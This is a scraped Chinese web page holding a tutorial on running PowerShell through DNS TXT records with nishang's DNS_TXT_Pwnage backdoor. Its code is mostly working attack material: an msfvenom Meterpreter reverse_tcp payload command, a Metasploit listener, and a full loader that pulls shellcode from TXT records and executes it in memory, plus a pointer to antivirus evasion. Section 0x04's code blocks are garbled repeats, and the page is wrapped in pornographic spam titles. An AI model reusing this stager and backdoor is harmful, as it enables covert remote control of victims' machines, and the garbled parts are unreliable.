婷婷综合国产,91蜜桃婷婷狠狠久久综合9色 ,九九九九九精品,国产综合av

主頁 > 知識庫 > 通過DNS TXT記錄執(zhí)行powershell

通過DNS TXT記錄執(zhí)行powershell

熱門標(biāo)簽:湖州電銷防封卡 什么渠道可以找外呼系統(tǒng)客戶 真人和電話機(jī)器人對話 雷霆電話機(jī)器人電話 使用電話機(jī)器人電銷是否違法 安徽400電話辦理 金融電銷公司怎么辦理外呼系統(tǒng) 電話智能外呼系統(tǒng)誠信合作 信陽話務(wù)外呼系統(tǒng)怎么收費(fèi)

0x00簡介

DNS TXT記錄一般用來記錄某個(gè)主機(jī)名或者域名設(shè)置的說明,在這里可以填寫任何東西,長度限制255。絕大多數(shù)的TXT記錄是用來做SPF記錄(反垃圾郵件)。本篇文章主要介紹如何使用 nishang 通過創(chuàng)建TXT記錄執(zhí)行powershell腳本。當(dāng)然,首先你要有一個(gè)域名。

0x01創(chuàng)建TXT記錄

這里需要使用nishang中的一個(gè)腳本 OUT-DnsTxt 。

1.常見命令

因?yàn)槌R娒畋容^短,所以可以直接添加到TXT記錄中,如下圖:

現(xiàn)在查看一下TXT記錄:

可以看到記錄已經(jīng)成功添加了。

2.腳本

由于TXT記錄長度限制為255,如果要添加一個(gè)腳本到記錄里面,需要添加多個(gè)TXT記錄。下面是一個(gè)例子,自己寫了一個(gè)PSH腳本:

function Get-User
 {
 #
 .SYNOPSIS
 Script to generate DNS TXT for a test.
 .DESCRIPTION
 Use this script to get user information. to be more big.. more big... big..Do one thing at a time, and do well.Keep on going never give up.
 .EXAMPLE
 PS > Get-User
 #>
 
 [CmdletBinding()]
 Param ()
  net user
 }

使用Out-Dnstxt進(jìn)行轉(zhuǎn)換:

PS F:/DNS> . ./Out-DnsTxt.ps1
 PS F:/DNS> Out-DnsTxt -DataToEncode ./Get-User.ps1
 You need to create 2 TXT records.
 All TXT Records written to F:/DNS/encodedtxt.txt

由于這個(gè)腳本比較小,所以只生產(chǎn)兩行:

可以分別將這兩行內(nèi)容按順序添加到 1.ps.domain.com到2.ps.domian.com中如下圖:

查看TXT,可以看到內(nèi)容都已經(jīng)添加好了:

0x02 執(zhí)行Powershell

添加完了TXT記錄以后,通過 DNS_TXT_Pwnage.ps1 來執(zhí)行這些腳本。

DNS_TXT_Pwnage.ps1 是一個(gè)通過DNS TXT來接收命令或者腳本的一個(gè)后門腳本

這里還需要添加兩條記錄,strat與stop,具體如下圖:

1.執(zhí)行命令

PS F:/DNS> . ./DNS_TXT_Pwnage.ps1
 PS F:/DNS> DNS_TXT_Pwnage -startdomain start.evi1cg.me -cmdstring start -commanddomain command.evi1cg.me -psstring test -psdomain xxx.evi1cg.me -
 Subdomains 1 -StopString stop

解釋一下參數(shù):

startdomain 為創(chuàng)建的 start.domain ,返回一個(gè)字符串; cmdstring 為任意輸入的字符串; commanddomain 為創(chuàng)建的執(zhí)行命令TXT記錄的域名; psstring 為任意輸入的字符串; psdomain 為創(chuàng)建的執(zhí)行腳本TXT記錄的域名或子域名 ; Subdomains 為執(zhí)行腳本創(chuàng)建TXT記錄的個(gè)數(shù)(如1.2中創(chuàng)建的腳本,該值為2); StopString 為任意輸入的字符串。

此處比較重要的參數(shù)為 startdomain ,他會與我們輸入的cmdstring以及psstring進(jìn)行比較,如果與cmdstring值相等,則執(zhí)行 commanddomain 即命令,與psstring相等則執(zhí)行 psdomain 即腳本。

上面為執(zhí)行命令,所以cmdstring值我們輸入為start,與start.evi1cg.me的txt記錄值相等,psstring隨便輸入,不留空就行。執(zhí)行結(jié)果如下圖:

我們可以通過修改command.domain的TXT值來執(zhí)行不同的命令。比如Get-Host:

2.執(zhí)行腳本

PS F:/DNS> . ./DNS_TXT_Pwnage.ps1
 PS F:/DNS> DNS_TXT_Pwnage -startdomain start.evi1cg.me -cmdstring bulabula -commanddomain command.evi1cg.me -psstring start -psdomain ps.evi1
 cg.me -Arguments Get-User -Subdomains 2 -StopString stop

這里要注意,psstring的值為start,與start.domain的TXT記錄相同,cmdstring為任意字符串。效果如下圖:

這里多一個(gè)參數(shù) Arguments ,要寫明要執(zhí)行的函數(shù)名,測試發(fā)現(xiàn),在腳本中含有中文時(shí)會失敗。對于需要帶參數(shù)的腳本可以修改腳本指定參數(shù)值。

0x03 執(zhí)行Shellcode

可以通過TXT記錄執(zhí)行shellcode,首先,我們使用msf生成一個(gè)powershell的shellcode:

?  ~  sudo msfvenom -p windows/meterpreter/reverse_tcp -f powershell LHOST=x.x.x.x LPORT=8887 gt; pspayload.txt

使用Out-DnsTxt對生成的文件進(jìn)行轉(zhuǎn)換:

PS F:/DNS> Out-DnsTxt -DataToEncode ./pspayload.txt
 You need to create 3 TXT records.
 All TXT Records written to F:/DNS/encodedtxt.txt

然后將以上記錄分別添加到TXT記錄中,如下圖:

測試使用的32位win7系統(tǒng),使用msf開啟監(jiān)聽:

msf > use exploit/multi/handler
 msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
 payload => windows/meterpreter/reverse_tcp
 msf exploit(handler) > set LPORT 8887
 LPORT => 8887
 msf exploit(handler) > set LHOST x.x.x.x
 LHOST => x.x.x.x
 msf exploit(handler) > exploit
 
 [*] Started reverse handler on x.x.x.x:8887
 [*] Starting the payload handler...

我們還需要一個(gè)獲取TXT記錄并執(zhí)行的腳本,這里我改了一個(gè)腳本:

function Execute-Code
 {
 #
 .PARAMETER Shelldomain
 The domain (or subdomain) whose subbdomain's TXT records would hold shellcode.
 .PARAMETER subdomains
 The number of subdomains which would be used to provide shellcode from their TXT records.
 .PARAMETER AUTHNS
 Authoritative Name Server for the domains.
 .EXAMPLE
 PS > Execute-Code
 The payload will ask for all required options.
 .EXAMPLE
 PS > Execute-Code -Shelldomain 32.alteredsecurity.com -SubDomains 5 -AUTHNS f1g1ns2.dnspod.net.
 Use above from non-interactive shell.
 #>
  [CmdletBinding()] Param(
     [Parameter(Position = 0, Mandatory = $True)]
     [String]
     $Shelldomain,
     [Parameter(Position = 1, Mandatory = $True)]
     [String]
     $Subdomains,   
     [Parameter(Position = 2, Mandatory = $True)]
     [String]
     $AUTHNS
   )
  function Get-ShellCode
   {
   Param(
       [Parameter()]
       [String]
       $Shelldomain
     )
     $i = 1
     while ($i -le $subdomains)
     {
       $getcommand = (Invoke-Expression "nslookup -querytype=txt $i.$Shelldomain $AUTHNS") 
       $temp = $getcommand | select-string -pattern "`""
       $tmp1 = ""
       $tmp1 = $tmp1 + $temp
       $encdata = $encdata + $tmp1 -replace '/s+', "" -replace "`"", ""
       $i++
     }
    #$encdata = ""
     $dec = [System.Convert]::FromBase64String($encdata)
     $ms = New-Object System.IO.MemoryStream
     $ms.Write($dec, 0, $dec.Length)
     $ms.Seek(0,0) | Out-Null
     $cs = New-Object System.IO.Compression.DeflateStream ($ms, [System.IO.Compression.CompressionMode]::Decompress)
     $sr = New-Object System.IO.StreamReader($cs)
     $sc = $sr.readtoend()
   return $sc
   }
   $Shell = (Get-ShellCode $Shelldomain)
   #Remove unrequired things from msf shellcode
   $tmp = $Shell -replace "`n","" -replace '/$buf /+/= ',"," -replace '/[Byte/[/]/] /$buf /=' -replace " "
   [Byte[]]$sc = $tmp -split ','
   #Code Execution logic
  $code = @"
  [DllImport("kernel32.dll")]
  public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
  [DllImport("kernel32.dll")]
  public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
  [DllImport("msvcrt.dll")]
  public static extern IntPtr memset(IntPtr dest, uint src, uint count);
 "@
   $winFunc = Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru
  $size = 0x1000 
   if ($sc.Length -gt 0x1000) {$size = $sc.Length} 
   $x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40) 
   for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt64()+$i), $sc[$i], 1)}
  Try {
     $winFunc::CreateThread(0,0,$x,0,0,0)
     sleep 100000
   }
  Catch
  {
  [system.exception]
  "caught a system exception"
  }
 }

參數(shù)說明, Shelldomain 為創(chuàng)建txt記錄的域名或子域名; subdomains 為創(chuàng)建TXT域名的個(gè)數(shù),如上面所創(chuàng)建的為3; AUTHNS 為域的權(quán)威名稱服務(wù)器,如我使用的狗爹,所以AUTHNS為f1g1ns2.dnspod.net

在32位win7上執(zhí)行:

PS C:/Users/evi1cg/Desktopgt; . ./Execute-Code.ps1

成功獲取meterpreter會話:

64位的請自行修改payload及腳本。

0x04 補(bǔ)充

Metasploit中已經(jīng)含有此腳本 dns_txt_query_exec.rb ,此腳本查詢TXT記錄的順序?yàn)閍.domain,b.domain…,下面是一個(gè)示例,首先生成payload:

?  ~  sudo msfvenom -p windows/meterpreter/reverse_tcp LHOST=103.238.225.222 LPORT=8887 -e x86/alpha_mixed Bufferregister=EDI -f raw gt; reverse.txt

使用下面的腳本對該文件進(jìn)行切割:

PS F:/DNS> . ./Out-DnsTxt.ps1
 PS F:/DNS> Out-DnsTxt -DataToEncode ./Get-User.ps1
 You need to create 2 TXT records.
 All TXT Records written to F:/DNS/encodedtxt.txt

0

輸出如下:

將這三行分別添加到a.domain,b.domain,c.domain的TXT記錄中:

生成exe:

PS F:/DNS> . ./Out-DnsTxt.ps1
 PS F:/DNS> Out-DnsTxt -DataToEncode ./Get-User.ps1
 You need to create 2 TXT records.
 All TXT Records written to F:/DNS/encodedtxt.txt

1

msf開啟監(jiān)聽:

PS F:/DNS> . ./Out-DnsTxt.ps1
 PS F:/DNS> Out-DnsTxt -DataToEncode ./Get-User.ps1
 You need to create 2 TXT records.
 All TXT Records written to F:/DNS/encodedtxt.txt

2

運(yùn)行exe,獲得meterpreter:

至于免殺,可以直接生成c格式的shellcode,然后按照 打造免殺payload 來做。

0x05 小結(jié)

本文主要介紹一種執(zhí)行命令的方式以及nishang的腳本使用,希望能對大家有幫助。

您可能感興趣的文章:
  • PowerShell 指令操作集合(小結(jié))
  • 如何利用PowerShell監(jiān)控Win-Server性能詳解
  • PowerShell中Job相關(guān)命令及并行執(zhí)行任務(wù)詳解
  • 基于PowerShell在Ubuntu系統(tǒng)的使用詳解
  • PowerShell 遠(yuǎn)程執(zhí)行任務(wù)的方法步驟
  • 使用 powershell 創(chuàng)建虛擬機(jī)
  • PowerShell實(shí)現(xiàn)簡單的grep功能
  • PowerShell 語音計(jì)算器實(shí)現(xiàn)代碼
  • PowerShell腳本 隨機(jī)密碼生成器(ps隨機(jī)密碼生成器)
  • 原創(chuàng)powershell腳本小工具ctracert.ps1跟蹤路由(win8以上系統(tǒng))
  • powershell玩轉(zhuǎn)SQL SERVER所有版本的方法
  • powershell玩轉(zhuǎn)sqlite數(shù)據(jù)庫詳細(xì)介紹
  • PowerShell基本使用教程

標(biāo)簽:濟(jì)南 岳陽 湛江 六盤水 鶴崗 山南 德州 運(yùn)城

巨人網(wǎng)絡(luò)通訊聲明:本文標(biāo)題《通過DNS TXT記錄執(zhí)行powershell》,本文關(guān)鍵詞  通過,DNS,TXT,記錄,執(zhí)行,powershell,;如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問題,煩請?zhí)峁┫嚓P(guān)信息告之我們,我們將及時(shí)溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò),涉及言論、版權(quán)與本站無關(guān)。
  • 相關(guān)文章
  • 下面列出與本文章《通過DNS TXT記錄執(zhí)行powershell》相關(guān)的同類信息!
  • 本頁收集關(guān)于通過DNS TXT記錄執(zhí)行powershell的相關(guān)信息資訊供網(wǎng)民參考!
  • 推薦文章
    婷婷综合国产,91蜜桃婷婷狠狠久久综合9色 ,九九九九九精品,国产综合av
    久久久久国产精品麻豆| 欧美午夜精品久久久久久孕妇| 亚洲第一av色| 国产精品毛片大码女人| 欧美国产成人在线| 国产精品美女一区二区三区| 国产三区在线成人av| 久久综合色播五月| 国产欧美中文在线| 国产精品动漫网站| 亚洲乱码日产精品bd| 亚洲大型综合色站| 蜜桃av噜噜一区二区三区小说| 日韩成人免费在线| 国产在线播放一区三区四| 粉嫩av一区二区三区| av福利精品导航| 91福利在线看| 欧美一级国产精品| 中国色在线观看另类| 国产精品免费久久| 亚洲第一二三四区| 国产精品自拍网站| 一本到不卡免费一区二区| 欧美日韩和欧美的一区二区| 精品国产百合女同互慰| 国产精品入口麻豆九色| 亚洲国产日日夜夜| 国产美女一区二区| 欧美影片第一页| 久久综合视频网| 亚洲精品写真福利| 国内成人精品2018免费看| 波多野结衣中文字幕一区| 欧美日韩国产经典色站一区二区三区 | 亚洲人成亚洲人成在线观看图片| 最新日韩av在线| 日本系列欧美系列| 91麻豆精品在线观看| 欧美乱妇15p| 国产精品麻豆网站| 狠狠色丁香久久婷婷综合丁香| 99久久精品国产一区| 欧美精品久久天天躁| 国产午夜亚洲精品羞羞网站| 五月激情综合色| 99久久精品国产精品久久| 欧美α欧美αv大片| 亚洲综合免费观看高清完整版在线| 国产一区二区调教| 欧美猛男超大videosgay| 国产精品丝袜在线| 国产麻豆成人精品| 欧美一区二区日韩一区二区| 亚洲日本一区二区| 懂色av一区二区在线播放| 久久伊人中文字幕| 男女性色大片免费观看一区二区 | 精品国产乱码久久久久久1区2区| 亚洲欧美日韩国产手机在线 | 国产亚洲一区字幕| 午夜精品久久久久久久99水蜜桃 | 欧美在线观看一区| 国产精品免费视频网站| 久久国产成人午夜av影院| 欧美日韩一本到| 亚洲午夜成aⅴ人片| 91蝌蚪porny九色| 国产精品激情偷乱一区二区∴| 狠狠色狠狠色综合系列| 欧美一卡二卡三卡| 精品一区二区三区视频| 欧美刺激午夜性久久久久久久| 日本欧美在线看| 日韩欧美自拍偷拍| 久久国产精品99久久人人澡| 日韩欧美国产一区二区三区 | 成人精品免费看| 国产精品网友自拍| av亚洲精华国产精华精华| 国产精品国产三级国产aⅴ无密码| 高清国产一区二区| 中文字幕亚洲一区二区va在线| 93久久精品日日躁夜夜躁欧美| 一区二区三区国产豹纹内裤在线 | 国产精品一二三四五| 国产日韩精品一区二区浪潮av| 国产精品自产自拍| 亚洲激情综合网| 欧美美女网站色| 美女任你摸久久 | 亚洲国产日韩一级| 欧美大片一区二区| 成人av网站免费观看| 亚洲另类中文字| 欧美一区二区视频在线观看 | 一本色道亚洲精品aⅴ| 亚洲福利一二三区| 欧美精品一区二区不卡| 99久久综合99久久综合网站| 亚洲一区二区视频| 久久先锋影音av鲁色资源网| av成人老司机| 久久超碰97中文字幕| 国产精品久久久久久久第一福利 | 成人app网站| 亚洲成av人片www| 国产欧美日韩麻豆91| 欧美三级在线视频| 国产传媒日韩欧美成人| 亚洲综合成人在线视频| 久久综合色综合88| 欧美日本韩国一区| 成人av在线资源网站| 日韩二区三区四区| 亚洲欧美区自拍先锋| 欧美精品一区二区三区一线天视频| 色综合久久九月婷婷色综合| 久久国产三级精品| 亚洲成人一区在线| 国产精品入口麻豆原神| 精品少妇一区二区| 欧美色综合影院| 成人精品视频.| 国产精品综合一区二区| 日韩**一区毛片| 夜夜亚洲天天久久| 日韩美女啊v在线免费观看| 久久久久久久一区| 精品日产卡一卡二卡麻豆| 欧美日韩在线观看一区二区| 99久久伊人久久99| 成人永久免费视频| 国产精品综合一区二区| 久久99精品视频| 日韩精品乱码av一区二区| 一区二区欧美在线观看| 国产精品沙发午睡系列990531| 26uuu精品一区二区三区四区在线| 欧美精品在线视频| 911国产精品| 日韩一区二区电影在线| 91精品国产一区二区三区蜜臀| 在线精品亚洲一区二区不卡| 97aⅴ精品视频一二三区| 成人黄色免费短视频| 粉嫩蜜臀av国产精品网站| 国产精品 欧美精品| 成人福利电影精品一区二区在线观看| 国模大尺度一区二区三区| 精品中文字幕一区二区| 精品一区二区在线免费观看| 久久 天天综合| 丰满少妇久久久久久久| 成人性生交大合| av激情成人网| 欧美视频第二页| 日韩午夜激情视频| 国产日韩欧美综合在线| 国产日韩欧美不卡在线| 亚洲日本一区二区| 日韩电影在线一区二区三区| 免费观看在线综合| 国产精一区二区三区| 99久久精品免费看国产 | 99久久精品免费精品国产| 色激情天天射综合网| 欧美人与z0zoxxxx视频| 精品美女在线播放| 国产精品女主播av| 亚洲午夜久久久久中文字幕久| 图片区小说区国产精品视频| 日本人妖一区二区| 国产v综合v亚洲欧| 91国偷自产一区二区开放时间 | 777a∨成人精品桃花网| 国产午夜精品在线观看| 亚洲男人天堂av网| 美女尤物国产一区| av不卡免费在线观看| 欧美日韩不卡在线| 亚洲国产精品av| 午夜精品在线看| 丰满少妇久久久久久久| 91精品在线免费| 国产精品国产三级国产aⅴ原创| 五月开心婷婷久久| 99久久精品99国产精品| 日韩精品一区二区三区视频播放| 国产精品久久免费看| 午夜伦理一区二区| 99国产精品99久久久久久| 91精品国产一区二区三区 | 激情综合五月天| 一本大道久久a久久综合| 久久久蜜桃精品| 日本成人在线不卡视频| 色噜噜狠狠成人中文综合| 久久品道一品道久久精品| 午夜影视日本亚洲欧洲精品|